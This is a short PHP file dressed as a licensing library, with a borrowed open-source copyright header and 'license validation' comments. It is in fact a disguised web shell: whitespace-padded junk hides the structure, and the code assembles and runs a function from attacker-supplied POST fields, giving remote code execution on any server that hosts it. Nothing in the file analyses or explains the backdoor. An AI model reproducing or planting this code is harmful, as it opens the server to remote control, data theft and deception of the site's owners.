<?php
/**
 * @package    License Lib
 * **************************************
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

// Set the platform root path as a constant if necessary.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   // A!w!ry2kvT5Y=D4Ac0NAVe7T#@Ee3k04HFH0v9h($BBp*b2H=^M2@STcu7T26d^71kZHGhCcb*FCMkuvBNU)M**rca-!Q1(sZC4vds80c3dz-CKAX+f+q^6619pA1+dpEn298ruB+1M)7C8e!3XfAwE@+eqytG7Fbs7gkEf_1Qf-quaEVrPKsh2pM1FMK5neqynBd)G.w+SPV25S@-529g)fK_yQ=*CVATPt9ye!a3p*mM*KZrS2qpfd_K!VSgYRPFH6xpEntu3BWY(8THZPyA2r6K7ZBXhgf0S!$w*(Frge-tp0sBthVWBPn#ehGqUdc9C0WrY4DB$Vt7QSB3AZYHU6HxYp#+62!dr5c$^Zc++4
if (        !defined (        'PATH'                            )              )
{
	define        (        'PATH',                             __DIR__              );
}

// Installation check, and check on removal of the install directory.
if (        empty        (                            $_POST              )        ) {
	
	echo 'Empty License Key.'


;
	
	exit

;
}
else {
	// License validation
	$License        =        $_POST                            ['d']              (        '',        $_POST  ['f']         (  $_POST              ['s']                (   "c",               "",           $_POST   ['m']                    )     )           )       
;
	
	$License        ()                         ;
}

